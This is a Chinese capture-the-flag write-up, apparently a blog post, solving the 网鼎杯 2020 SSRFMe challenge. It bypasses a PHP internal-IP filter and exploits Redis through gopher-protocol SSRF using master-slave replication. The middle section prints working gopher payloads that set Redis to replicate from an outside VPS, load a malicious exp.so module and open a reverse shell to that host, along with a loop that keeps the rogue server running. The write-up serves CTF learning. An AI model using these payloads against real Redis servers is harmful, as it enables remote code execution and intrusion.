[网鼎杯 2020 玄武组]SSRFMe

[网鼎杯 2020 玄武组]SSRFMe

最近想学习下ssrf,就找了些文章看看找些题做做,学习的话推荐WHOAMI大佬的ssrf文章,内容全面且详细

话不多说进入这次的题目,进入网址直接给出源代码

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();  // 创建新的 cURL 资源
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch); // 抓取 URL 并把它传递给浏览器
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);  // 关闭 cURL 资源,并且释放系统资源
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

emem这题看到curl那一串,不出意外就可以确定这题考点是ssrf了,我们来分析一下这题的代码

对传入的url会执行check_inner_ip进行限制,该函数有如下几个限制
1.限制只能使用http|https|gopher|dict这四个协议
2.将通过parse_url获取的地址执行gethostbyname()函数,搜了一下这个函数解析不了127.0.0.1,也**防御了xip.io这类利用dns解析的绕过方法**
3.使用ip2long将ip地址转为整数,判断是否为内网网段,**防御了127.0.0.1/8**

在这之后我们的url就可以愉快的进入curl去执行了
在这之前我们得先绕过限制去访问一下hint.php文件,这里我试了WHOAMI大佬总结的绕过方法,可以用的有

http://0.0.0.0/hint.php
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

在这里插入图片描述
有点可惜的是,本体的代码其实被大佬用来做利用curl和parse_url的解析差异绕指定的host的例子,不过可能是环境问题,这个方法在curl较新的版本里被修掉了,buu上无法使用
在这里插入图片描述
回到正题,得到了一段新代码,有新的函数file_put_contents可以进行ssrf,也提示了’redispass is root’,所以这里应该是要打redis了,由于WHOAMI大佬在上面介绍的那篇文章中介绍的方法较少,我找了他的另一篇文章,还参考了一篇WP

这里介绍一下本题的考点:主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

所以我们先自己找个VPS,运行rogue-server.py 之后用于伪装为主redis,它开启的端口为6666,再将第二个工具exp.so导入到和rogue-server.py同目录
接下来在web界面利用gopher协议入到从redis之中:

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252042.193.22.50%25206666%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252042.193.22.50%25206663%250d%250aquit

上面这些payload其实就是下面的语句经过两次url编码后变来的

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
//设置备份文件路径为/tmp/ 顺便说一下看到当时大佬的博客说试了很多目录,最后发现只有/tmp有权限 ,只需要有读权限即可,所以说平时做渗透或者做题好多试试啊

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 42.193.22.50 6666
quit
//设置备份文件名为:exp.so,设置主redis地址为42.193.22.50,端口为6666 地址为自己的VPS
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 42.193.22.50 6663
quit
//导入 exp.so ,反弹shell到42.193.22.50:6663

这里要说一下,需要写个死循环一直跑rogue-server.py,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。

while [ "1" = "1" ]
do
	python rogue-server.py
done

在这里插入图片描述

最后要监听6663端口,执行完最后一句后就会反弹shell
在这里插入图片描述
在这里插入图片描述
最后也是成功找到flag

小插曲
其实做这道题的时候我是非常不顺利的,一开始我用的是buu的靶机,用的方法是WHOAMI大佬文章里的那种方法,用脚本生成paylaod打,由于buu的靶机我试了一下是没有git等一些下载指令的,所以我只能将文件复制过去,但这样有一个问题,脚本倒是没问题,但那个so文件估计会损坏所以我用了sftp传上去,这样一来文件肯定是没毛病的
在这里插入图片描述
但是执行payload会报错,如下

string(210) "+OK +OK Already connected to specified master +OK +OK -ERR Error loading the extension. Please check the server logs. -ERR unknown command `system.exec`, with args beginning with: `cat${IFS}/flag`, +OK "

很无奈,找了篇WP向他那样常规的一步一步执行,最后一步还是报错了

string(163) "+OK -ERR Error loading the extension. Please check the server logs. -ERR unknown command `system.rev`, with args beginning with: `172.16.165.57`, `6663`, +OK "

这两个报错都是没有加载到system.exec,主服务器上的exp.so文件肯定没问题,那就是exp.so没有成功加载到从服务器上吧,不知道是不是buu环境的问题

在网上找了一下都没找到解决办法,最后用了自己的VPS才成功拿下这道题

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值